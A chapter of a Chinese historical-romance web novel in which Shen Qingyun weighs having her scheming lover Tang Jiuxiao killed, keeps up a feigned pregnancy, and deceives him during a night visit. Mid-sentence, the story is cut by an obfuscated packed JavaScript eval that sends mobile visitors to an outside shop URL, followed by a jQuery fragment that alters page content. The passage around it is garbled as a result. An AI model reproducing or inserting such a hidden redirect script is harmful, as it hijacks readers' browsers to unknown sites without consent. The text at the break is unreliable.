世态炎凉，人心向来如此。
眼下虽是烈火烹油，鲜花着锦之盛，可这般风光又能维系几时？
不过半月光景，荒废多年的沈府旧宅已修缮一新。沈家子嗣单薄，又无旁支亲眷，如今这偌大府邸只住着沈修远父女二人，却配了三十余仆役打理伺候。
即便如此，那位自祖宅匆忙入京的老管事仍连连摇头，望着焕然一新的亭台楼阁连声叹道：“比不得当年，还是太过素简。”
府门外已是车马云集，拜帖如雪片般飞来。
沈卿云透过窗棂，望着往来不绝的仆从，唇角泛起一丝清浅的弧度，那笑意却未达眼底。
这盛京城的荣辱兴衰，原来竟是这般急不可耐。
“一律回绝。”
她扫了眼呈上的拜帖，连翻看的兴致都无，只淡声吩咐：“若有人问起，便说公务繁忙，无暇他顾。沈府如今只我与父亲二人，分身乏术，不便待客。”
“是。”
管事躬身应下，悄无声息地退了出去。
待他离去，候在门外的青篱捧着个紫檀木画匣走了进来。
沈卿云见到那物什，眸光微凝：“多谢。”
“姑娘好生收着。”
青篱将画匣轻放在案上，目光在那匣子上流连片刻，这才转身：“这幅画，大公子当初费了不少心血。”
沈卿云起身打开匣子，缓缓展开画卷。
距离除夕那夜已过月余，这是她第一次静下心来细看这幅画。
浅紫色的花海在绢布上蔓延，她说不清此刻心头是何滋味。
酸涩、怅然、惋惜……最终都化作一声无奈的叹息。
“我悔极了。”
她指尖无意识抚过画绢：“悔的并非离开四时谷，而是……当初在谷中救下的人，为何不是大哥。”
除夕夜，当她在唐九霄身侧看见这幅画时，便已彻底清醒。
她如何能心安理得地继续与唐九霄亲密如初？
横亘在两人之间的最根本的，从不是那些所谓身不由己的谎言，而是兄长那条活生生的性命，鲜血淋漓。
“如今既有沈大人为您做主，姑娘何必再与那厮虚与委蛇。”
青篱看出她眼中隐痛，低声道：“这些时日，唐家屡次差人递来拜帖，只是消息还未传到您这儿，便已被大人一一拦下了。”
“他那性子，若是彻底撕破脸，不知又要做出什么疯事来。”
沈卿云有些头痛地揉了揉额角：“先前为了自保，不得不与他周旋，编造出那等违心之言。如今若让他知晓真相……我只怕他一旦发疯，牵连到我倒也罢了，可父亲如今在朝中步履维艰，绝不能因此事再生波澜。”
父亲如今以一己之力在朝堂上与崔家抗衡，虽位居太师，实则如履薄冰。
唐九霄仗着唐家财势，行事向来不择手段。那些沾满蝇营狗苟的密函，她至今忆起，仍觉心悸。
青篱闻言，倒吸一口冷气。
她自然清楚姑娘当初为自保，不得已编造了假孕的谎言。
想起那日唐九霄双目赤红，急令传信西山大营的狰狞情状，她至今心有余悸。
若教那厮得知真相，只怕这盛京城真要被搅得天翻地覆。
“许是我前世欠下的债。”
沈卿云思忖良久，唇边不禁泛起一抹自嘲的苦笑：“一旦沾染，这辈子都挣脱不得。”
“姑娘，我倒是有个一劳永逸的法子。”
青篱忽然压低声音。
此言一出，沈卿云神色骤凛。
她自然明白青篱所指，这法子，确实能永绝后患。
见沈卿云神情似有动摇，青篱继续道：“姑娘莫不是在心软？”
“当初在辽州，若不是他在背后推波助澜，您又怎会屡陷险境，几度命悬一线？”
她顿了顿，声音压得更低：“这本就是他欠您的，于情于理，除去他，都是百利而无一害。”
指节无意识地收紧，紫檀木匣上繁复的花纹硌得掌心生疼。
沈卿云有一刹那的恍惚。
终究，还是走到了这般不死不休的境地。
这缕犹疑转瞬即逝，随即被更清醒的理智取代。
是了，眼下这般情势，若她再不下定决心……来日被逼至绝境的，必是她自己。
“今夜起，我房里不必留人伺候了。”
她深吸了口气，嗓音轻得宛如叹息：“就说我近来寝不安席，不喜有人近身。”
青篱会意颔首，又问：“那方子……还要接着吃么？”
窗棂外风过疏竹，斑驳的竹影在沈卿云脸上摇曳不定。
良久，她轻声道：“暂且用着吧，以防万一。”
是夜。
紫苏端着铜盆退出内室时，脚步还有些迟疑。直到看见青篱轻轻合上房门，她才松了口气，心下却泛起几分诧异。
在盛京高门大户里，守夜从来不是件轻松差事。昼夜颠倒不说，若遇上讲究的主子，夜里要茶要水，起夜更衣，一宿都不得安生。
可沈府的规矩却与众不同。
偌大府邸只住着两位主子，且各有所忙，从无意为难下人。比起其他府邸灯火通明的热闹宴席与不绝于耳的传唤，这里的夜晚静得能听见风吹过竹叶的沙沙声。
月明风清，这沈府上下，倒是比别处都安静许多。
“姑娘若是夜里要起身，当真不需留个奴婢伺候么？”
思及至此，紫苏还是忍不住开口问了句。
“姑娘向来不喜人近身服侍，这几日夜里更是睡不安稳，守夜反倒扰她安睡。”
青篱不动声色地瞥了她一眼，语气平静：“回去早些歇着吧，明日记得准时将姑娘要吃的药端来。”
紫苏忙不迭应下。
随着青篱回厢房时，她望着檐下摇晃的灯笼，忽然觉得。
在这满城勋贵都恨不得将下人使唤到极致的盛京城里，能遇上这样清闲的差事，拿着不菲的月钱，倒像是做了场不真切的梦。
只愿这场梦能持续得久一些，再久一些。
潇湘院内室，一灯如豆。
纱幔低垂，隐约可见榻上人影辗转反侧。床边小几上搁着一碗汤药，热气氤氲，散发出苦涩难闻的气味。
幔帐微动，一只素白的手探出，指尖在药碗边缘徘徊良久，终是缓缓收回。如此反复数次，寂静中忽闻一声极轻的嗤笑。
那只手倏地缩回幔帐，将榻内景象遮得严严实实。
“不许过来。”
沈卿云的声音含着薄怒：“再近一步，我便唤人捉贼了。”
“姑娘特意屏退左右，难道不是在等唐某登门？”
一道身影自梁上翩然落下，步履轻盈得听不见半点声响。
唐九霄月前还重伤在身，此刻竟已恢复如初。
纱幔微晃，映出床前修长的影子。下一刻，幔帐被轻轻挑起，露出一张艳若桃李的俊美容颜。
他眼尾微挑，唇角噙着慵懒笑意：“呀，好生标致的小娘子。”
沈卿云倏然别过脸去，青丝垂落遮住侧颜，只露出微微泛红的耳尖。
见到她这般情状，唐九霄悬了半月的心终于落定。
他端起药碗凑近榻前，语带戏谑地抱怨：“还恼我呢？该委屈的是我才对。这些时日沈太师见着我，恨不得一脚把我踹进护城河里去。”
“活该。”
沈卿云回眸睨他，眼波流转间带着三分嗔意：“当年你悄无声息将我骗出谷，父亲自然看你怎么都不顺眼。”
“所以这半月我可没闲着。”
唐九霄执起药匙，将汤药轻轻递到她唇边，眉眼间尽是邀功的得意：“若不是我在暗中周旋，江南道税银贪腐案与莳花馆略人略卖案怎能进展得如此顺利？你父亲借着这两桩案子发挥，可是让崔相焦头烂额，连自家后院的火都顾不上了。”
“后院的火？荣国
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16700767|182207||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夫人和崔三郎？”
沈卿云咽下汤药，敏锐地捕捉到他话中深意：“究竟怎么回事？”
药匙在碗沿轻叩，唐九霄忽地倾身靠近，含笑望进她眼底：“我这般尽心竭力，阿云可否先赏个笑脸？”
沈卿云抬眸，与他四目相对。
烛光下，她眼底情绪如深潭难测，最终化作一抹他熟悉的温顺浅笑：“可还满意？晦之，别卖关子了。”
“如我先前预料那般，崔三郎仗着自己是崔相老来幼子，颇得宠爱，以权谋私中饱私囊，亏空了府中账目，却又不愿拿私银填补公中窟窿。”
唐九霄执匙的手稳如磐石：“那位荣国夫人一面嚷着要撂挑子，一面又暗中向我父亲周转，想借唐家的银钱填补崔家的亏空。”
他笑声里是毫不遮掩的讥诮：“说到底，终究是割舍不下娘家这棵大树。”
“看来令尊此番是决意要与崔家割席了？”
沈卿云被汤药苦得蹙眉，却仍敏锐地捕捉到关键：“可是，你兄长尚在三皇子身边伴读，唐家当真能全身而退？”
“不急，崔贵妃尚未出手。”
唐九霄毫不在意地回道：“螳螂捕蝉黄雀在后，两个儿子总有一个堪当大任，不到尘埃落定那日，我父亲绝不会轻易表态。”
沈卿云咽下最后一口苦药，借着低头轻咳的间隙，不着痕迹地掩去眼底的冷意。
可笑，他唐家自诩是那黄雀，却不知自己早已身在笼中……
纵观史册，这般首鼠两端之辈，何曾有过善终？
她轻微地吐了口气，抬眼时，眸光里浮着难以辨明的情绪：“那你呢？唐九霄，你待如何？”
听到此问，唐九霄倏然低笑，桃花眼里漾开潋滟波光，俯身凑近她耳畔：“阿云何必明知故问？我握着你的软肋，你也攥着我的命门。从始至终，我们才是真正的同路人。”
“同路……”
她轻声重复，与他静静对视片刻，弯唇笑道：“是啊，我们是同路人。”
唐九霄低头在她唇上轻轻一碰。
短暂相触后微微退开，指尖抚过她唇角：“甜的。”
多日来的焦灼彷徨，在这一刻尽数化作汹涌浪潮。
他急不可耐地将她揽入怀中，下颌轻抵她发间，嗓音里带着一丝难以掩饰的颤意：“我就知道，你终究还是会选我。”
“阿云，你可知我醒来不见你时，心里有多慌……我怕你真的就此离去，再不要我了。”
烛火摇曳，照亮沈卿云眼底的寒意。
她抬手轻抚他的后背，声音却柔似春水：“既然应了要与你同行，我怎会轻易离去？那日若抗旨不遵，莫说是我，便是你的性命也难保全。”
她顿了顿，眸光掠过那只已经变空的药碗，恰到好处地叹息：“何况，我还怀着你的骨肉。”
话音未落，沈卿云便感到揽在她后背的手臂骤然收紧。
这番话，彻彻底底地触到了他心底最柔软的地方。
唐九霄的声音里带着难掩的期待：“我父亲已经动身，从蜀州往盛京城来。”
“沈大人既然不愿见我，届时我便请父亲登门提亲可好？三书六礼，凤冠霞帔，一样都不会少。”
他拉开两人之间的距离，又低下头去抵住她的额，眼底漾着细碎的光：“阿云，我只想堂堂正正地站在你身边。”
纱幔轻摇，将两人相拥的身影勾勒得朦胧缠绵，恰似一对难舍难分的璧人。
沈卿云顺从地依在他怀中，如一只温驯的鸟。
然而垂下的眼帘后，那双黑白分明的眸子里，唯有彻骨的寒凉。
唐九霄大概永远不会知道。
他此刻待她越是百依百顺，万般珍重。
她便愈要竭尽心力，才能压住心底翻涌而上的恐惧。
她比谁都清楚，眼下这温情脉脉的戏码每多一刻。
谎言败露那日要承受的滔天怒火，便又更重一分。